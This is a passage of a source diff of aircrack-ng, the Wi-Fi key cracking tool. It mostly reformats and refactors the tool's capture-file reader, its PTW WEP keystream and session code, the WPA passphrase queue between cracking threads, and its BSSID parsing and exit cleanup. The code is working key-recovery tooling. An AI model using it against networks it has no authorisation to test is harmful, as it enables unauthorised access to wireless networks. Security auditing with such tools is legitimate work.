+			clearsize = ivs2.len;
+
+			if (clearsize < opt.keylen + 3) return -2;
+
+			if (PTW_addsession(ap_cur->ptw_clean,
+							   buffer,
+							   buffer + 4,
+							   PTW_DEFAULTWEIGHT,
+							   1))
+				ap_cur->nb_ivs_clean++;
+
+			if (PTW_addsession(ap_cur->ptw_vague,
+							   buffer,
+							   buffer + 4,
+							   PTW_DEFAULTWEIGHT,
+							   1))
+				ap_cur->nb_ivs_vague++;
+
+			return -2;
+		}
+
+		buffer[3] = buffer[4];
+		buffer[4] = buffer[5];
+		buffer[3] ^= 0xAA;
+		buffer[4] ^= 0xAA;
+		/* check for uniqueness first */
+
+		if (ap_cur->nb_ivs == 0) ap_cur->uiv_root = uniqueiv_init();
+
+		if (uniqueiv_check(ap_cur->uiv_root, buffer) == 0)
 		{
-			free(ap_cur->ivbuf);
-			ap_cur->ivbuf = NULL;
+			/* add the IV & first two encrypted bytes */
+
+			n = ap_cur->nb_ivs * 5;
+
+			if (n + 5 > ap_cur->ivbuf_size)
+			{
+				/* enlarge the IVs buffer */
+
+				ap_cur->ivbuf_size += 131072;
+				ap_cur->ivbuf = (unsigned char *) realloc(
+					ap_cur->ivbuf, (size_t) ap_cur->ivbuf_size);
+
+				if (ap_cur->ivbuf == NULL)
+				{
+					perror("realloc failed");
+					return -1;
+				}
+			}
+
+			memcpy(ap_cur->ivbuf + n, buffer, 5);
+			uniqueiv_mark(ap_cur->uiv_root, buffer);
+			ap_cur->nb_ivs++;
+			// 					all_ivs[256*256*buffer[0] + 256*buffer[1] +
+			// buffer[2]].used
+			// |= GOT_IV;
 		}
+	}
+	else if (ivs2.flags & IVS2_PTW)
+	{
+		ap_cur->crypt = 2;
+
+		if (opt.do_ptw)
+		{
+			int clearsize;
 
+			clearsize = ivs2.len;
 
-		while (ap_cur->st_1st != NULL) {
-			st_tmp = ap_cur->st_1st;
-			ap_cur->st_1st = ap_cur->st_1st->next;
-			free(st_tmp);
-			st_tmp = NULL;
+			if (buffer[5] < opt.keylen) return -4;
+			if (clearsize < (6 + buffer[4] * 32 + 16 * (signed) sizeof(int)))
+				return -5;
+
+			memcpy(weight,
+				   buffer + clearsize - 15 * sizeof(int),
+				   16 * sizeof(int));
+			// 					printf("weight 1: %d, weight 2: %d\n",
+			// weight[0],
+			// weight[1]);
+
+			if (PTW_addsession(
+					ap_cur->ptw_vague, buffer, buffer + 6, weight, buffer[4]))
+				ap_cur->nb_ivs_vague++;
+
+			return -6;
 		}
 
-		uniqueiv_wipe( ap_cur->uiv_root );
-		ap_cur->uiv_root = NULL;
+		buffer[3] = buffer[6];
+		buffer[4] = buffer[7];
+		buffer[3] ^= 0xAA;
+		buffer[4] ^= 0xAA;
+		/* check for uniqueness first */
+
+		if (ap_cur->nb_ivs == 0) ap_cur->uiv_root = uniqueiv_init();
 
-		if( ap_cur->ptw_clean != NULL )
+		if (uniqueiv_check(ap_cur->uiv_root, buffer) == 0)
 		{
-			if( ap_cur->ptw_clean->allsessions != NULL )
+			/* add the IV & first two encrypted bytes */
+
+			n = ap_cur->nb_ivs * 5;
+
+			if (n + 5 > ap_cur->ivbuf_size)
 			{
-				free(ap_cur->ptw_clean->allsessions);
-				ap_cur->ptw_clean->allsessions=NULL;
+				/* enlarge the IVs buffer */
+
+				ap_cur->ivbuf_size += 131072;
+				ap_cur->ivbuf = (unsigned char *) realloc(
+					ap_cur->ivbuf, (size_t) ap_cur->ivbuf_size);
+
+				if (ap_cur->ivbuf == NULL)
+				{
+					perror("realloc failed");
+					return -1;
+				}
 			}
-			free(ap_cur->ptw_clean);
-			ap_cur->ptw_clean = NULL;
+
+			memcpy(ap_cur->ivbuf + n, buffer, 5);
+			uniqueiv_mark(ap_cur->uiv_root, buffer);
+			ap_cur->nb_ivs++;
 		}
+	}
+	else if (ivs2.flags & IVS2_WPA)
+	{
+		ap_cur->crypt = 3;
+		memcpy(&ap_cur->wpa, buffer, sizeof(struct WPA_hdsk));
+	}
+	return 0;
+}
+
+static void clean_exit(int ret)
+{
+	int i = 0;
+	// 	int j=0, k=0, attack=0;
+	int child_pid;
+
+	char tmpbuf[128];
+	memset(tmpbuf, 0, 128);
+
+	if (ret && !opt.is_quiet)
+	{
+		printf("\nQuitting aircrack-ng...\n");
+		fflush(stdout);
+	}
+	close_aircrack = 1;
+
+	for (i = 0; i < opt.nbcpu; i++)
+	{
+#ifndef CYGWIN
+		safe_write(mc_pipe[i][1], (void *) "EXIT\r", 5);
+		safe_write(bf_pipe[i][1], (void *) tmpbuf, 64);
+#endif
+		close(mc_pipe[i][0]);
+		close(mc_pipe[i][1]);
+		close(cm_pipe[i][0]);
+		close(cm_pipe[i][1]);
+		close(bf_pipe[i][0]);
+		close(bf_pipe[i][1]);
+	}
+
+	// Stop cracking session thread
+	if (cracking_session)
+	{
+		pthread_join(cracking_session_tid, NULL);
+	}
+
+	for (i = 0; i < opt.nbcpu; i++)
+		if (tid[i] != 0)
+		{
+			if (pthread_join(tid[i], NULL) != 0) perror("pthread_join");
+			tid[i] = 0;
+		}
+
+	for (i = 0; i < opt.nbcpu; i++)
+	{
+		if (wpa_data[i].key_buffer != NULL)
+		{
+			free(wpa_data[i].key_buffer);
+			wpa_data[i].key_buffer = NULL;
+		}
+		pthread_cond_destroy(&wpa_data[i].cond);
+		pthread_mutex_destroy(&wpa_data[i].mutex);
+	}
+
+	dso_ac_crypto_engine_destroy(&engine);
+	ac_crypto_engine_loader_unload();
 
-		if( ap_cur->ptw_vague != NULL )
+	if (cpuset != NULL)
+	{
+		ac_cpuset_destroy(cpuset);
+		ac_cpuset_free(cpuset);
+	}
+
+	if (opt.totaldicts)
+	{
+		for (i = 0; i < opt.totaldicts; i++)
 		{
-			if( ap_cur->ptw_vague->allsessions != NULL )
+			if (opt.dicts[i] != NULL)
 			{
-				free(ap_cur->ptw_vague->allsessions);
-				ap_cur->ptw_vague->allsessions = NULL;
+				free(opt.dicts[i]);
+				opt.dicts[i] = NULL;
 			}
-			free(ap_cur->ptw_vague);
-			ap_cur->ptw_vague = NULL;
 		}
-
-		ap_prv = ap_cur;
-		ap_cur = ap_cur->next;
 	}
 
-	ap_cur = ap_1st;
+	if (wep.ivbuf != NULL)
+	{
+		free(wep.ivbuf);
+		wep.ivbuf = NULL;
+	}
 
-	while( ap_cur != NULL )
+	if (opt.logKeyToFile != NULL)
 	{
-		ap_next = ap_cur;
-		ap_cur = ap_cur->next;
-		free(ap_next);
-		ap_next = NULL;
+		free(opt.logKeyToFile);
+		opt.logKeyToFile = NULL;
 	}
 
-	ap_prv = NULL;
+	ac_aplist_free();
+	if (access_points != NULL)
+	{
+		c_avl_destroy(access_points);
+		access_points = NULL;
+	}
+	if (targets != NULL)
+	{
+		c_avl_destroy(targets);
+		targets = NULL;
+	}
 
 // 	attack = A_s5_1;
 // 	printf("Please wait for evaluation...\n");
@@ -406,7 +720,8 @@
 //
 // 		if((all_ivs[i].used & GOT_IV) && (all_ivs[i].used & (1<<(attack+4)) ) )
 // 		{
-// 			printf("IV %02X:%02X:%02X used for %d\n", (i/(256*256)), ((i&0xFFFF)/(256)), (i&0xFF), attack);
+// 			printf("IV %02X:%02X:%02X used for %d\n", (i/(256*256)),
+// ((i&0xFFFF)/(256)), (i&0xFF), attack);
 // 			k++;
 // 		}
 // 	}
@@ -414,105 +729,111 @@
 // 	printf("%d unused IVs\n", j);
 // 	printf("%d used IVs for %d\n", k, attack);
 
-	if (progname != NULL) {
+#ifdef HAVE_SQLITE
+	if (db != NULL)
+	{
+		sqlite3_close(db);
+		db = NULL;
+	}
+#endif
+
+	if (progname != NULL)
+	{
 		free(progname);
 		progname = NULL;
 	}
 
-	child_pid=fork();
+	if (cracking_session)
+	{
+		// TODO: Delete file when cracking fails
+		if (opt.dictfinish || wepkey_crack_success || wpa_wordlists_done
+			|| nb_tried == opt.wordcount)
+		{
+			ac_session_destroy(cracking_session);
+		}
+		ac_session_free(&cracking_session);
+	}
+
+	child_pid = fork();
 
-	if(child_pid==-1)
+	if (child_pid == -1)
 	{
-	  /* do error stuff here */
+		/* do error stuff here */
 	}
-	if(child_pid!=0)
+	if (child_pid != 0)
 	{
-	  /* The parent process exits here. */
+		/* The parent process exits here. */
 
-	  exit(0);
+		exit(0);
 	}
 
 	_exit(ret);
 }
 
-void sighandler( int signum )
+static void sighandler(int signum)
 {
-	#if ((defined(__INTEL_COMPILER) || defined(__ICC)) && defined(DO_PGO_DUMP))
+#if ((defined(__INTEL_COMPILER) || defined(__ICC)) && defined(DO_PGO_DUMP))
 	_PGOPTI_Prof_Dump();
-	#endif
+#endif
 #if !defined(__CYGWIN__)
-        // We can't call this on cygwin or we will sometimes end up
-        // having all our threads die with exit code 35584 fairly reproducable
-        // at around 2.5-3% of runs
-        signal( signum, sighandler );
+	// We can't call this on cygwin or we will sometimes end up
+	// having all our threads die with exit code 35584 fairly reproducible
+	// at around 2.5-3% of runs
+	signal(signum, sighandler);
 #endif
 
-	if( signum == SIGQUIT )
-		clean_exit( SUCCESS );
-// 		_exit( SUCCESS );
-
-	if( signum == SIGTERM )
-		clean_exit( FAILURE );
-// 		_exit( FAILURE );
+	if (signum == SIGQUIT) clean_exit(SUCCESS);
+	// 		_exit( SUCCESS );
 
-	if( signum == SIGINT )
+	if (signum == SIGTERM) clean_exit(FAILURE);
+	// 		_exit( FAILURE );
+
+	if (signum == SIGINT)
 	{
-	#if ((defined(__INTEL_COMPILER) || defined(__ICC)) && defined(DO_PGO_DUMP))
-		clean_exit( FAILURE );
+#if ((defined(__INTEL_COMPILER) || defined(__ICC)) && defined(DO_PGO_DUMP))
+		clean_exit(FAILURE);
 //		_exit( FAILURE );
-	#else
-/*		if(intr_read > 0)*/
-			clean_exit( FAILURE );
+#else
+		/*		if(intr_read > 0)*/
+		clean_exit(FAILURE);
 /*		else
 			intr_read++;*/
-	#endif
-	}
-
-	if( signum == SIGWINCH )
-		printf( "\33[2J\n" );
-}
-
-void eof_wait( int *eof_notified )
-{
-	if( *eof_notified == 0 )
-	{
-		*eof_notified = 1;
-
-		/* tell the master thread we reached EOF */
-
-		pthread_mutex_lock( &mx_eof );
-		nb_eof++;
-		pthread_cond_broadcast( &cv_eof );
-		pthread_mutex_unlock( &mx_eof );
+#endif
 	}
 
-	usleep( 100000 );
+	if (signum == SIGWINCH) erase_display(2);
 }
 
-int wpa_send_passphrase(char *key, struct WPA_data* data, int lock);
+int wpa_send_passphrase(char * key, struct WPA_data * data, int lock);
 
-inline int wpa_send_passphrase(char *key, struct WPA_data* data, int lock)
+inline int wpa_send_passphrase(char * key, struct WPA_data * data, int lock)
 {
 	int delta = 0, i = 0, fincnt = 0;
 	off_t tmpword = 0;
 
 	pthread_mutex_lock(&data->mutex);
 
-	if (!opt.dictfinish) {
+	if (!opt.dictfinish)
+	{
 		delta = chrono(&t_dictup, 0);
 
-		if ((int)delta >= 2) {
-			for (; i < opt.totaldicts; i++) {
-				if (opt.dictidx[i].loaded) {
+		if ((int) delta >= 2)
+		{
+			for (; i < opt.totaldicts; i++)
+			{
+				if (opt.dictidx[i].loaded)
+				{
 					fincnt++;
 					continue;
 				}
 
-				if (opt.dictidx[i].dictsize > READBUF_BLKSIZE) {
-					tmpword			= (long double)linecount(opt.dicts[i], opt.dictidx[i].dictpos, 32);
-					opt.dictidx[i].wordcount+= tmpword;
-					opt.wordcount		+= tmpword;
-					opt.dictidx[i].dictpos	+= (READBUF_BLKSIZE*32);
+				if (opt.dictidx[i].dictsize > READBUF_BLKSIZE)
+				{
+					tmpword = (long double) linecount(
+						opt.dicts[i], opt.dictidx[i].dictpos, 32);
+					opt.dictidx[i].wordcount += tmpword;
+					opt.wordcount += tmpword;
+					opt.dictidx[i].dictpos += (READBUF_BLKSIZE * 32);
 
 					if (opt.dictidx[i].dictpos >= opt.dictidx[i].dictsize)
 						opt.dictidx[i].loaded = 1;
@@ -523,13 +844,13 @@
 			}
 
 			if (fincnt == opt.totaldicts)
-				opt.dictfinish	= 1;
+				opt.dictfinish = 1;
 			else
-				delta		= chrono(&t_dictup, 1);
+				delta = chrono(&t_dictup, 1);
 		}
 	}
 
-	if ((data->back+1) % data->nkeys == data->front)
+	if ((data->back + 1) % data->nkeys == data->front)
 	{
 		if (lock != 0)
 		{
@@ -544,42 +865,51 @@
 	}
 
 	// put one key in the buffer:
-	memcpy(data->key_buffer + data->back*128, key, 128);
-	data->back = (data->back+1) % data->nkeys;
+	memcpy(data->key_buffer + data->back * WPA_DATA_KEY_BUFFER_LENGTH,
+		   key,
+		   MAX_PASSPHRASE_LENGTH + 1);
+	data->back = (data->back + 1) % data->nkeys;
 
 	pthread_mutex_unlock(&data->mutex);
 
 	return 1;
 }
 
-int wpa_receive_passphrase(char *key, struct WPA_data* data);
+int wpa_receive_passphrase(char * key, struct WPA_data * data);
 
-inline int wpa_receive_passphrase(char *key, struct WPA_data* data)
+inline int wpa_receive_passphrase(char * key, struct WPA_data * data)
 {
 	pthread_mutex_lock(&data->mutex);
 
-	if (data->front==data->back)
+	if (data->front == data->back)
 	{
 		pthread_mutex_unlock(&data->mutex);
 		return 0; // empty queue!
 	}
 
-	// get one key from the buffer:
-	memcpy(key, data->key_buffer + data->front*128, 128);
-	data->front = (data->front+1) % data->nkeys;
+// get one key from the buffer:
+#ifdef XDEBUG
+	printf("%lu: Sending: %s\n",
+		   pthread_self(),
+		   (data->key_buffer + data->front * 128));
+#endif
+	memcpy(key,
+		   data->key_buffer + data->front * WPA_DATA_KEY_BUFFER_LENGTH,
+		   MAX_PASSPHRASE_LENGTH + 1);
+	data->front = (data->front + 1) % data->nkeys;
 
 	// signal that there's now room in the queue for more keys
-	pthread_cond_signal(&data->cond);
 	pthread_mutex_unlock(&data->mutex);
+	pthread_cond_signal(&data->cond);
 
 	return 1;
 }
 
 /* Returns number of BSSIDs.
 
-    Return value is negative for failures
+	Return value is negative for failures
 */
-int checkbssids(char *bssidlist)
+static int checkbssids(const char * bssidlist)
 {
 	int first = 1;
 	int failed = 0;
@@ -587,69 +917,72 @@
 	char *list, *frontlist, *tmp;
 	int nbBSSID = 0;
 
-	if(bssidlist == NULL) return -1;
+	if (bssidlist == NULL) return -1;
 
 #define IS_X(x) ((x) == 'X' || (x) == 'x')
-#define VALID_CHAR(x)   ((IS_X(x)) || hexCharToInt(x) > -1)
+#define VALID_CHAR(x) ((IS_X(x)) || hexCharToInt(x) > -1)
 
-#define VALID_SEP(arg)	( ((arg) == '_') || ((arg) == '-') || ((arg) == ':') )
+#define VALID_SEP(arg) (((arg) == '_') || ((arg) == '-') || ((arg) == ':'))
 	frontlist = list = strdup(bssidlist);
 	do
 	{
 		tmp = strsep(&list, ",");
 
-		if (tmp == NULL)
-			break;
+		if (tmp == NULL) break;
 
 		++nbBSSID;
 
-		if(strlen(tmp) != 17) failed = 1;
+		if (strlen(tmp) != 17) failed = 1;
 
-		//first byte
-		if(!VALID_CHAR(tmp[ 0])) failed = 1;
-		if(!VALID_CHAR(tmp[ 1])) failed = 1;
-		if(!VALID_SEP( tmp[ 2])) failed = 1;
-
-		//second byte
-		if(!VALID_CHAR(tmp[ 3])) failed = 1;
-		if(!VALID_CHAR(tmp[ 4])) failed = 1;
-		if(!VALID_SEP( tmp[ 5])) failed = 1;
-
-		//third byte
-		if(!VALID_CHAR(tmp[ 6])) failed = 1;
-		if(!VALID_CHAR(tmp[ 7])) failed = 1;
-		if(!VALID_SEP( tmp[ 8])) failed = 1;
-
-		//fourth byte
-		if(!VALID_CHAR(tmp[ 9])) failed = 1;
-		if(!VALID_CHAR(tmp[10])) failed = 1;
-		if(!VALID_SEP( tmp[11])) failed = 1;
-
-		//fifth byte
-		if(!VALID_CHAR(tmp[12])) failed = 1;
-		if(!VALID_CHAR(tmp[13])) failed = 1;
-		if(!VALID_SEP( tmp[14])) failed = 1;
-
-		//sixth byte
-		if(!VALID_CHAR(tmp[15])) failed = 1;
-		if(!VALID_CHAR(tmp[16])) failed = 1;
+		// first byte
+		if (!VALID_CHAR(tmp[0])) failed = 1;
+		if (!VALID_CHAR(tmp[1])) failed = 1;
+		if (!VALID_SEP(tmp[2])) failed = 1;
+
+		// second byte
+		if (!VALID_CHAR(tmp[3])) failed = 1;
+		if (!VALID_CHAR(tmp[4])) failed = 1;
+		if (!VALID_SEP(tmp[5])) failed = 1;
+
+		// third byte
+		if (!VALID_CHAR(tmp[6])) failed = 1;
+		if (!VALID_CHAR(tmp[7])) failed = 1;
+		if (!VALID_SEP(tmp[8])) failed = 1;
+
+		// fourth byte
+		if (!VALID_CHAR(tmp[9])) failed = 1;
+		if (!VALID_CHAR(tmp[10])) failed = 1;
+		if (!VALID_SEP(tmp[11])) failed = 1;
+
+		// fifth byte
+		if (!VALID_CHAR(tmp[12])) failed = 1;
+		if (!VALID_CHAR(tmp[13])) failed = 1;
+		if (!VALID_SEP(tmp[14])) failed = 1;
+
+		// sixth byte
+		if (!VALID_CHAR(tmp[15])) failed = 1;
+		if (!VALID_CHAR(tmp[16])) failed = 1;
 
-		if(failed) {
+		if (failed)
+		{
 			free(frontlist);
 			return -1;
 		}
 
-		if(first)
+		if (first)
 		{
-			for(i=0; i< 17; i++) {
-				if( IS_X(tmp[i])) {
+			for (i = 0; i < 17; i++)
+			{
+				if (IS_X(tmp[i]))
+				{
 					free(frontlist);
 					return -1;
 				}
 			}
 
 			opt.firstbssid = (unsigned char *) malloc(sizeof(unsigned char));
-			if (opt.firstbssid == NULL){
+			if (opt.firstbssid == NULL)
+			{
 				free(frontlist);
 				return -1;
 			}
@@ -657,14 +990,72 @@
 			first = 0;
 		}
 
-	} while(list);
+	} while (list);
 
 	// Success
 	free(frontlist);
 	return nbBSSID;
 }
 
-int mergebssids(char * bssidlist, unsigned char * bssid)
+static void session_save_thread(void * arg)
+{
+	struct timeval start;
+	struct timeval stop;
+	int8_t wordlist = 0;
+	uint64_t pos;
+
+	(void) arg;
+
+	if (!cracking_session || opt.stdin_dict)
+	{
+		return;
+	}
+
+	// Start chrono
+	gettimeofday(&start, NULL);
+
+	while (!close_aircrack)
+	{
+
+		// Check if we're over the 10 minutes mark
+		gettimeofday(&stop, NULL);
+		if (stop.tv_sec - start.tv_sec < 10 * 60)
+		{
+			// Wait 100ms
+			if (usleep(100000) == -1)
+			{
+				break; // Got a signal
+			}
+			continue;
+		}
+
+		// Reset chrono
+		start.tv_sec = stop.tv_sec;
+
+		pos = wordlist = 0;
+		// Get position in file
+		pthread_mutex_lock(&mx_dic);
+		if (opt.dict)
+		{
+			wordlist = 1;
+			pos = ftello(opt.dict);
+		}
+		pthread_mutex_unlock(&mx_dic);
+
+		// If there is no wordlist, that means it's the end
+		// (either forced closing and wordlist was closed or
+		//  we've tried all wordlists).
+		if (wordlist == 0)
+		{
+			break;
+		}
+
+		// Update amount of keys tried and save it
+		ac_session_save(cracking_session, pos, nb_tried);
+	}
+}
+
+static int mergebssids(const char * bssidlist, unsigned char * bssid)
 {
 	struct mergeBSSID * list_prev;
 	struct mergeBSSID * list_cur;
@@ -674,9 +1065,13 @@
 	char * tmp2 = NULL;
 	int next, i, found;
 
+	if (bssid == NULL || bssidlist == NULL || bssidlist[0] == 0)
+	{
+		return -1;
+	}
+
 	// Do not convert if equal to first bssid
-	if (memcmp(opt.firstbssid, bssid, 6) == 0)
-		return 1;
+	if (memcmp(opt.firstbssid, bssid, 6) == 0) return 1;
 
 	list_prev = NULL;
 	list_cur = opt.bssid_list_1st;
@@ -685,8 +1080,7 @@
 	{
 		if (memcmp(list_cur->bssid, bssid, 6) == 0)
 		{
-			if (list_cur->convert)
-				memcpy(bssid, opt.firstbssid, 6);
+			if (list_cur->convert) memcpy(bssid, opt.firstbssid, 6);
 
 			return list_cur->convert;
 		}
@@ -700,13 +1094,19 @@
 
 	if (!mac)
 	{
-		perror( "malloc failed" );
+		perror("malloc failed");
 		return -1;
 	}
 
-	snprintf(mac, 18, "%02X:%02X:%02X:%02X:%02X:%02X",
-		bssid[0], bssid[1], bssid[2],
-		bssid[3], bssid[4], bssid[5]);
+	snprintf(mac,
+			 18,
+			 "%02X:%02X:%02X:%02X:%02X:%02X",
+			 bssid[0],
+			 bssid[1],
+			 bssid[2],
+			 bssid[3],
+			 bssid[4],
+			 bssid[5]);
 	mac[17] = 0;
 
 	tmp2 = list = strdup(bssidlist);
@@ -719,18 +1119,17 @@
 
 	do
 	{
-		next=0;
+		next = 0;
 		tmp = strsep(&list, ",");
-		if (tmp == NULL)
-			break;
+		if (tmp == NULL) break;
 
 		// Length already checked, no need to check it again
 
-		for( i = 0; i < 17; ++i)
+		for (i = 0; i < 17; ++i)
 		{
-			if((IS_X(tmp[i]) || VALID_SEP(tmp[i]))) continue;
+			if ((IS_X(tmp[i]) || VALID_SEP(tmp[i]))) continue;
 
-			if(toupper((int)tmp[i]) != (int)mac[i])
+			if (toupper((int) tmp[i]) != (int) mac[i])
 			{
 				// Not found
 				next = 1;
@@ -738,27 +1137,24 @@
 			}
 		}
 
-		if(next == 0)
+		if (next == 0)
 		{
 			found = 1;
 			break;
 		}
-	}
-	while (list);
+	} while (list);
 
 	// Free memory
-	if(mac != NULL)
-		free(mac);
-	if(tmp2 != NULL)
-		free(tmp2);
+	if (mac != NULL) free(mac);
+	if (tmp2 != NULL) free(tmp2);
 
 	// Add the result to the list
 	list_cur = (struct mergeBSSID *) malloc(sizeof(struct mergeBSSID));
 
 	if (!list_cur)
 	{
-			perror( "malloc failed" );
-			return -1;
+		perror("malloc failed");
+		return -1;
 	}
 
 	list_cur->convert = found;
@@ -771,8 +1167,7 @@
 		list_prev->next = list_cur;
 
 	// Do not forget to convert if it was successful
-	if (list_cur->convert)
-		memcpy(bssid, opt.firstbssid, 6);
+	if (list_cur->convert) memcpy(bssid, opt.firstbssid, 6);
 
 #undef VALID_CHAR
 #undef VALID_SEP
@@ -783,1874 +1178,1081 @@
 
 /* fread isn't atomic, sadly */
 
-int atomic_read( read_buf *rb, int fd, int len, void *buf )
+static int atomic_read(read_buf * rb, int fd, int len, void * buf)
 {
-	int n;
+	ssize_t n;
 
-	if( close_aircrack )
-		return( CLOSE_IT );
+	if (close_aircrack) return (CLOSE_IT);
 
-	if( rb->buf1 == NULL )
+	if (rb->buf1 == NULL)
 	{
-		rb->buf1 = malloc( 65536 );
-		rb->buf2 = malloc( 65536 );
+		rb->buf1 = malloc(65536);
+		rb->buf2 = malloc(65536);
 
-		if( rb->buf1 == NULL || rb->buf2 == NULL )
-			return( 0 );
+		if (rb->buf1 == NULL || rb->buf2 == NULL) return (0);
 
 		rb->off1 = 0;
 		rb->off2 = 0;
 	}
 
-	if( len > 65536 - rb->off1 )
+	if (len > 65536 - rb->off1)
 	{
 		rb->off2 -= rb->off1;
 
-		memcpy( rb->buf2, rb->buf1 + rb->off1, rb->off2 );
-		memcpy( rb->buf1, rb->buf2, rb->off2 );
+		memcpy(rb->buf2, (char *) rb->buf1 + rb->off1, (size_t) rb->off2);
+		memcpy(rb->buf1, (char *) rb->buf2, (size_t) rb->off2);
 
 		rb->off1 = 0;
 	}
 
-	if( rb->off2 - rb->off1 >= len )
+	if (rb->off2 - rb->off1 >= len)
 	{
-		memcpy( buf, rb->buf1 + rb->off1, len );
+		memcpy(buf, (char *) rb->buf1 + rb->off1, (size_t) len);
 		rb->off1 += len;
-		return( 1 );
+		return (1);
 	}
 	else
 	{
-		n = read( fd, rb->buf1 + rb->off2, 65536 - rb->off2 );
+		n = read(fd, (char *) rb->buf1 + rb->off2, (size_t)(65536 - rb->off2));
 
-		if( n <= 0 )
-			return( 0 );
+		if (n <= 0) return (0);
 
 		rb->off2 += n;
 
-		if( rb->off2 - rb->off1 >= len )
+		if (rb->off2 - rb->off1 >= len)
 		{
-			memcpy( buf, rb->buf1 + rb->off1, len );
+			memcpy(buf, (char *) rb->buf1 + rb->off1, (size_t) len);
 			rb->off1 += len;
-			return( 1 );
+			return (1);
 		}
 	}
 
-	return( 0 );
+	return (0);
 }
 
-void read_thread( void *arg )
+/**
+ * Calculate the WEP session's keystream, for PTW based attacks.
+ *
+ * @param body The packet data contained within an 802.11 frame.
+ * @param dlen The length of the \a body parameter.
+ * @param ap_cur A reference to the AP base-station.
+ * @param h80211 A reference to the entire 802.11 frame data, for
+ *               which \a body is located inside.
+ * @return Returns zero on success. Returns non-zero for an error (> zero)
+ *         or exception (< zero).
+ */
+static int calculate_wep_keystream(unsigned char * body,
+								   int dlen,
+								   struct AP_info * ap_cur,
+								   unsigned char * h80211)
 {
-	int fd, n, fmt;
-	unsigned z;
-	int eof_notified = 0;
-// 	int ret=0;
-
-	unsigned char bssid[6];
-	unsigned char dest[6];
-	unsigned char stmac[6];
-	unsigned char *h80211;
-	unsigned char *p;
+	unsigned char clear[2048];
+	int clearsize, i, j, k;
 	int weight[16];
 
-	struct ivs2_pkthdr ivs2;
-	struct ivs2_filehdr fivs2;
-	struct pcap_pkthdr pkh;
-	struct pcap_file_header pfh;
-	struct AP_info *ap_prv, *ap_cur;
-	struct ST_info *st_prv, *st_cur;
-
-	signal( SIGINT, sighandler);
+	memset(weight, 0, sizeof(weight));
+	memset(clear, 0, sizeof(clear));
 
-	memset( &rb, 0, sizeof( rb ) );
-	ap_cur = NULL;
+	/* calculate keystream */
+	k = known_clear(clear, &clearsize, weight, h80211, (size_t) dlen);
+	if (clearsize < (opt.keylen + 3)) return 0;
 
-	memset(&pfh, 0, sizeof(struct pcap_file_header));
-
-	if( ( buffer = (unsigned char *) malloc( 65536 ) ) == NULL )
+	for (j = 0; j < k; j++)
 	{
-		/* there is no buffer */
-
-		perror( "malloc failed" );
-		goto read_fail;
+		for (i = 0; i < clearsize; i++) clear[i + (32 * j)] ^= body[4 + i];
 	}
 
-	h80211 = buffer;
-
-	if( ! opt.is_quiet )
-		printf( "Opening %s\n", (char *) arg );
-
-	if( strcmp( arg, "-" ) == 0 )
-		fd = 0;
-	else
+	if (k == 1)
 	{
-		if( ( fd = open( (char *) arg, O_RDONLY | O_BINARY ) ) < 0 )
+		if (ap_cur->ptw_clean == NULL)
 		{
-			perror( "open failed" );
-			goto read_fail;
+			ap_cur->ptw_clean = PTW_newattackstate();
+			if (!ap_cur->ptw_clean)
+			{
+				perror("PTW_newattackstate()");
+				return -1;
+			}
 		}
-	}
 
-	if( ! atomic_read( &rb, fd, 4, &pfh ) )
-	{
-		perror( "read(file header) failed" );
-		goto read_fail;
+		if (PTW_addsession(ap_cur->ptw_clean, body, clear, weight, k))
+			ap_cur->nb_ivs_clean++;
 	}
 
-	fmt = FORMAT_IVS;
-
-	if( memcmp( &pfh, IVSONLY_MAGIC, 4 ) != 0 &&
-            memcmp( &pfh, IVS2_MAGIC, 4 ) != 0)
+	if (ap_cur->ptw_vague == NULL)
 	{
-		fmt = FORMAT_CAP;
-
-		if( pfh.magic != TCPDUMP_MAGIC &&
-			pfh.magic != TCPDUMP_CIGAM )
+		ap_cur->ptw_vague = PTW_newattackstate();
+		if (!ap_cur->ptw_vague)
 		{
-			fprintf( stderr, "Unsupported file format "
-				"(not a pcap or IVs file).\n" );
-			goto read_fail;
+			perror("PTW_newattackstate()");
+			return -2;
 		}
+	}
 
-		/* read the rest of the pcap file header */
+	if (PTW_addsession(ap_cur->ptw_vague, body, clear, weight, k))
+		ap_cur->nb_ivs_vague++;
 
-		if( ! atomic_read( &rb, fd, 20, (unsigned char *) &pfh + 4 ) )
-		{
-			perror( "read(file header) failed" );
-			goto read_fail;
-		}
+	return 0;
+}
 
-		/* take care of endian issues and check the link type */
+/**
+ * Updates the current AP with additional information, such as stations.
+ *
+ * @param ap_cur The AP we are updating.
+ * @param fmt The incoming \a buffer binary format.
+ * @param buffer The incoming packet data.
+ * @param h80211 A reference within \a buffer for the 802.11 frame.
+ * @param ivs2 A reference to an IVS2 packet structure.
+ * @param pkh A reference to the packet's header content.
+ * @return Returns zero on success. Returns non-zero for an error (> zero)
+ *         or exception (< zero).
+ */
+static int packet_reader__update_ap_info(struct AP_info * ap_cur,
+										 int fmt,
+										 unsigned char * buffer,
+										 unsigned char * h80211,
+										 struct ivs2_pkthdr * ivs2,
+										 struct pcap_pkthdr * pkh,
+										 packet_reader_t * me)
+{
+	assert(ap_cur != NULL);
+	assert(buffer != NULL);
+	assert(h80211 != NULL);
+	assert(ivs2 != NULL);
+	assert(pkh != NULL);
 
-		if( pfh.magic == TCPDUMP_CIGAM )
-			SWAP32( pfh.linktype );
+	struct ST_info * st_cur = NULL;
+	unsigned char stmac[6];
+	unsigned char * p = NULL;
 
-		if( pfh.linktype != LINKTYPE_IEEE802_11 &&
-			pfh.linktype != LINKTYPE_PRISM_HEADER &&
-			pfh.linktype != LINKTYPE_RADIOTAP_HDR &&
-			pfh.linktype != LINKTYPE_PPI_HDR)
-		{
-			fprintf( stderr, "This file is not a regular "
-				"802.11 (wireless) capture.\n" );
-			goto read_fail;
-		}
-	}
-	else
+	if (fmt == FORMAT_IVS)
 	{
-		if( opt.wep_decloak )
-		{
-			errx(1, "Can't use decloak wep mode with ivs\n"); /* XXX */
-		}
-
-		if (memcmp( &pfh, IVS2_MAGIC, 4 ) == 0)
-		{
-			fmt = FORMAT_IVS2;
-
-			if( ! atomic_read( &rb, fd, sizeof(struct ivs2_filehdr), (unsigned char *) &fivs2 ) )
-			{
-				perror( "read(file header) failed" );
-				goto read_fail;
-			}
-			if(fivs2.version > IVS2_VERSION)
-			{
-				printf( "Error, wrong %s version: %d. Supported up to version %d.\n", IVS2_EXTENSION, fivs2.version, IVS2_VERSION );
-				goto read_fail;
-			}
-		} else if (opt.do_ptw)
-			errx(1, "Can't do PTW with old IVS files, recapture without --ivs or use airodump-ng >= 1.0\n"); /* XXX */
+		ap_cur->crypt = 2;
